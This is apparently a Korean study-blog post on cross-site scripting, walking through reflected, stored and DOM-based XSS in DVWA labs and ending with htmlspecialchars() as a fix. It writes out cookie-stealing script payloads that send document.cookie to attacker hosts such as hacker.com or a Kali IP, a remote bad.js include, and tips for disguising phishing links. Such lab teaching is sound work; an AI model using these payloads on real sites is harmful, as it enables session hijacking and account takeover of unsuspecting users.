본문 바로가기

웹해킹

웹해킹 #5 크로스 사이트 스크립팅 공격 (XSS)

1. 크로스 사이트 스크립팅 공격

- 공격자가 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가

  실행되도록 만드는 공격

- "자바스크립트"를 이용하여 공격 수행

- 다른 공격들은 취약점을 가지고 있는 서버쪽을 공격하지만,

  크로스 사이트 스크립팅 공격은 서버의 취약점을 이용하여 클라이언트 쪽을 공격

- 공격자가 삽입한 스크립트 코드가 언제 실행되는지에 따라 리플렉티드(reflected) 크로스 사이트 스크립팅 공격과 

  스토어드(stored) 크로스 사이트 스크립팅 공격으로 구분

 

ex) ① 세션 쿠키 탈취 - 클라이언트의 웹 브라우저에 있는 세션 쿠키를 자바스크립트를 이용하여 읽어서 알아내기

        <script>document.location = ‘http://hacker.com/cookie?’+document.cookie</script>

         -> 클라이언트의 웹 브라우저 있는 세션 쿠키를 자바스크립트를 이용하여 읽어서 알아냄

             Document.cookie : 쿠키값을 읽을 수 있음

             Document.location : 외부 사이트로 쿠키값을 보낼 수 있음

 

     ② 외부 사이트의 악성스크립트 실행

         <script src=http://hacker.com/bad.js>

         -> src라는 키워드를 이용하여 외부의 자바스크립트을 페이지 내에 삽입할 수 있음

             : 이를 통해 외부 해커사이트에 있는 악성스크립트를 실행시킬 수 있음

 

* 실제 취약점을 가지고 있는 웹 서버와 상관 없는 웹사이트(ex. SNS 웹사이트)도 공격 가능 -> BeEF 공격 프레임워크

 

2. 리플렉티드 크로스 사이트 스크립팅(Reflected XSS) 공격 개요

- 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점

  (입력된 스크립트가 반사되는 것처럼 동작하기 때문에 붙여진 이름)

- <script>와 같은 스크립트 태그를 포함한 자바스크립트 코드르 입력했을 때, 웹 브라우저는 사용자에게 의해 입력된

   자바스크립트와 웹 애플리케이션 개발자가 의도한 자바스크립트를 구별할 수 없기 때문에 해당 자바스크립트 실행

   -> 취약점 발생!

- DB에 저장되지 않음

- Reflected XSS 취약점이 있으면 일반적으로 공격자는 게시판에 글을 남기거나 이메일 피싱을 이용하여 악의적인

  스크립트 코드가 담긴 요청을 사용자가 실행하도록 만듦 + 주로 검색창 이용

 

ex) Reflected XSS 공격 예시

① 공격자가 공격 대상에게 이메일, 포털 사이트 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳을 통해 피싱 시도

    피싱을 할 때, 세션 쿠키를 탈취하는 스크립트 코드(대부분 자바스크립트)를 삽입한 HTTP 요청 링크 포함

② 사용자가 링크를 클릭하면 스크립트 코드가 삽입된 요청이 웹사이트로 전송됨

③ Reflected XSS 취약점이 있는 웹사이트는 입력된 스크립트를 반사하여 그대로 웹 페이지에 출력

④ 웹 페이지를 읽는 웹 브라우저는 자동으로 스크립트 실행하고, 그 결과 세션 쿠키를 공격자에게 전달

⑤ 공격자가 이 세션 쿠키를 사용하면 그 사용자의 권한으로 접속 가능

 

"세션 쿠키를 탈취하는 스크립트 코드(대부분 자바스크립트)를 (값이 전달되는 부분에) 삽입한 HTTP 요청 링크" 예시

http://testweb?search=<script>document.location='http://192.168.56.103/cookie?'+document.cookie</script>

http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

(위와 같은 코드를 삽입한 URL을 사용자가 클릭하게끔 유도! 그렇기 때문에 URL을 인코딩시켜 눈치채지 못하게끔 만듦)

 

3. Reflected XSS 공격 실습

<DVWA(Low) - XSS (Reflected)>

 

① 세션 쿠키 탈취하기

<'RSY'를 입력>

RSY 입력해보기

- Hello 뒤에 이름으로 입력한 값이 그대로 다시 출력된 것 확인 가능

 

* 이와 같이 웹 애플리케이션이 사용자가 입력한 값을 그대로 출력하는 경우 Reflected XSS 취약점 존재할 가능성 높음

 

<스크립트 태그 -  '<script>alert(1)</script>' 입력>

<script>alert(1)</script> 입력

- 자바스크립트가 웹 브라우저에 의해 실행된 결과

 

* 이와 같이 사용자가 스크립트를 입력할 수 있고, 입력된 스크립트가 응답되어 실행될 때 Reflected XSS 취약점 존재!

 

<쿠키 출력하기 - '<script>alert(document.cookie)</script>' 입력>

<script>alert(document.cookie)</script> 입력

- document.cookie 코드로 인해 쿠키 값이 출력됨

- PHPSESSID : PHP에서 생성하는 세션 쿠키 -> XXS 공격은 주로 세션 쿠키를 알아내는 데 초점을 둠!

 

② 세션 쿠키를 공격자의 호스트로 전달

- 칼리 리눅스를 공격자의 호스트라고 가정!

- 세션 쿠키를 공격자 호스트의 웹 서버를 통해 전달받을 것이기 때문에 칼리 리눅스에서 웹 서버를 시작

  # service apache2 start

- ip addr 명령어를 이용하여 칼리 리눅스의 IP 주소 확인 (192.168.56.101)

- 웹 브라우저에 칼리 리눅스의 IP 주소를 입력하여 웹 서버가 잘 실행되는지 확인

192.168.56.102를 통해 접속하여 웹 서버가 잘 실행되고 있음을 확인

- 로그 파일 모니터링 명령어 - tail -f /var/log/apache2/access.log

  : access.log 파일은 접근 로그를 기록하는 파일로, 웹 서버로 들어온 요청 정보가 기록됨

  ('tail' 명령어는 파일의 내용이 갱신되면 새로 추가된 내용을 발로 출력해주는 명령어 -> 모니터링에 유용)

* <script>document.location = 'http://칼리 리눅스 IP/cookie?'+document.cookie</script> 입력

- 예시 : <script>document.location = 'http://192.168.56.101/cookie?'+document.cookie</script>

- document.location을 이용하여 지정한 위치로 리다이렉트시키는 스크립트

-  스크립트가 실행되면 웹 브라우저가 공격자의 호스트로 접속하게 됨

 

※ 에러발생

- 리다이렉트된 cookie라는 URL이 공격자의 호스트에 존재하지 않기 때문에 발생 (이번 실습에서는 무시해도 됨!)

- 실제 상황에서 공격자는 더 정교한 자바스크립트를 이용하여 사용자가 눈치채지 못하도록 그럴듯한 웹 페이지 생성함

 

<접근 로그에 표시된 쿠키 확인>

- Get /cookie? 문자열 이후 : document.cookie에 의해 출력된 쿠키 정보 -> PHPSESSID 세션 쿠키 탈취!

 

* 실제 공격에서는 정상적인 사용자가 저러한 스크립트를 작성하지 않으므로, 공격자는 피싱을 이용하여 사용자가 

  자신도 모르게 요청을 전달하도록 만든다.

  (이메일, 게시판, SNS 등의 매체를 이용하여 XXS 취약점이 있는 URL 링크 클릭하게끔 만듦)

 

<XXS 취약점이 있는 URL 링크 확인>

- 버프 스위트의 Proxy - HTTP history 확인

- 쿠키를 공격자 호스트로 보내는 스크립트를 입력해쓸 때 전송된 요청 메시지 -> 피싱에 사용될 링크로 만들기 가능

- /dvwa/vulnerabilities~script%3E 까지가 URL

4. 스토어드 크로스 사이트 스크립팅(Stored XSS) 공격 개요

- 스크립트가 반사되는 것이 아니라 서버에 한 번 저장되었다가 나중에 실행

- 웹 서버에 저장되기 때문에 피싱 과정이 필요 없음

- DB에 스크립트 코드가 저장됨

- 해당 페이지를 접속하는 모든 사용자가 공격당할 수 있기 때문에 Reflected XSS보다 훨씬 심각

- 주로 게시판에 코드 포함(스크립트 코드로 간주되어 사용자 눈에는 보이지 않음) 

 

ex) Stored XSS 공격 예시

① 공격자가 웹사이트의 방명록 등에 악의적인 스크립트를 삽입한 글 남기기

② 다른 사용자들이 공격자가 작성한 게시물을 읽으면, 게시물에 저장되어 있던 스크립트 코드가 사용자에게 전달됨

③ 웹 브라우저가 스크립트 코드를 실행하여 세션 쿠키가 공격에게 전달됨

④ 공격자는 세션 쿠키를 이용하여 해당 사용자의 권한으로 웹사이트 접속 가능

 

5. Stored XSS 공격 실습

<DVWA(Low) - XSS (Stored)>

 

- 칼리 리눅스의 Apache 웹 서버를 실행하고, 접근 로그(access.log)를 모니터링하도록 tail 명령어 사용

  # service apache2 start

  tail -f /var/log/apache2/access.log

 

* 쿠키를 출력하는 스크립트 삽입

-  message에 <script>document.location = 'http://칼리 리눅스 IP/cookie?'+document.cookie</script> 입력

※ 이 때, 방명록에 최대 글자 수 입력이 제한되어 있기 때문에 전체 스크립트가 입력되지 않음,,

    -> 마우스 우클릭 - Inspect Element 메뉴를 클릭하여 개발자 도구로 HTML 코드를 수정해야함!

- 위와 같이 message칸에 해당하는 HTML 코드의 maxlength를 50에서 더 큰 숫자로 변경시켜준다

- maxlength를 변경 후 전체 스크립트를 삽입 후 Sign Guestbook을 클릭시 Not Found 페이지로 넘어감

스크립트 실행 화면

- Stored XSS 실습 페이지같은 경우 방명록에 글을 저장하는 순간 글의 내용을 다시 표시하기 때문에,

  글을 작성할 때 스크립트가 실행된 것

 

<access.log 파일 확인>

- 쿠키 정보가 담긴 요청 기록이 새롭게 생성됨

- 방명록이 남겨졌기 때문에 이 다음에 방명록을 보는 모든 사용자가 공격에 당할 수 있음!

6. Dom Based XSS 공격 개요

- 악의적인 스크립트가 포함 된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에 발생하는 공격

   ->악의적인 스크립트로 인해서 클라이언트 측 코드가 원래 의도와는 다르게 실행됨

- 다른 XSS 공격과는 다르게 서버 측에서 탐지가 어려움

- 위의 예시는 http://www.some.site/page.html URL 과 함께 # 이라는 특수문자를 사용함. #는 이후의 값은 서버로 전송 

  되지 않게함

 

* Dom(Document Object Model) Based XSS 공격위치

7. XSS 공격 대응

- htmlspecialchars() 함수 사용

  -> &, ", ', <, >와 같은 특수문자들을 HTML 엔티티로 변경 시켜줌

 ex) <를 &lt;로, >fmf &gt;로 변환시켜주기 때문에, <script> 태그의 경우 &lt;script&gt;로 변환됨 

      처리는 스크립트로 되지 않아 스크립트가 실행되지 않아도, 화면에 표시할 때에는 웹 브라우저가 원래의

      특수문자로 보여주기 때문에 사용자는 문자열대로 읽을 수 있음